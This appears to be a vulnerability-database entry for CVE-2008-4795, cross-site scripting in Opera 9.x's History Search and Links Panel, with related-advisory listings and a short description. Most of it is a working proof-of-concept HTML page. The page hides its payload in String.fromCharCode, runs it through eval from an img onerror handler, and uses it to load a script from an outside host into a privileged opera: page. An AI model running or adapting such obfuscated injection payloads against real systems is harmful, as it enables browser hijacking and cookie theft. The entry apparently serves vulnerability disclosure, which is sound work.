Opera Web Browser 9.x - History Search and Links Panel Cross-Site Scripting

🗓️ 30 Oct 2008 00:00:00Reported by Stefano Di PaolaType

Opera Web Browser 9.x - Cross-Site Scripting Vulnerabilitie

Reporter	Title	Published	Views	Family All 19
Tenable Nessus	Opera < 9.62 Multiple Vulnerabilities	30 Oct 200800:00	–	nessus
Tenable Nessus	GLSA-200811-01 : Opera: Multiple vulnerabilities	4 Nov 200800:00	–	nessus
Tenable Nessus	Opera < 9.62 Multiple Vulnerabilities	31 Oct 200800:00	–	nessus
Circl	CVE-2008-4795	30 Oct 200800:00	–	circl
CVE	CVE-2008-4795	30 Oct 200820:49	–	cve
Cvelist	CVE-2008-4795	30 Oct 200820:49	–	cvelist
EUVD	EUVD-2008-4774	7 Oct 202500:30	–	euvd
Gentoo Linux	Opera: Multiple vulnerabilities	3 Nov 200800:00	–	gentoo
NVD	CVE-2008-4795	30 Oct 200820:56	–	nvd
OpenVAS	Gentoo Security Advisory GLSA 200811-01 (opera)	19 Nov 200800:00	–	openvas

source: https://www.securityfocus.com/bid/31991/info

Opera Web Browser is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, change the browser's settings, and launch other attacks.

Versions prior to Opera Web Browser 9.62 are vulnerable.

NOTE: The 'History Search' issue described here may be related to the 'History Search' issue that was previously described in BID 31842 'Opera Web Browser Multiple Cross Site Scripting Vulnerabilities'.

<!-- --Aviv. http://aviv.raffon.net/2008/10/30/AdifferentOpera.aspx --> <html> <script> function x() { window.open('opera:historysearch?q=%2A"><img src=\'x\' onerror=\'eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="x()">Click me...</a> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <img src='x' onerror='eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))'> </body> </html> # milw0rm.com [2008-10-30]

27 Mar 2014 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.3

EPSS0.04337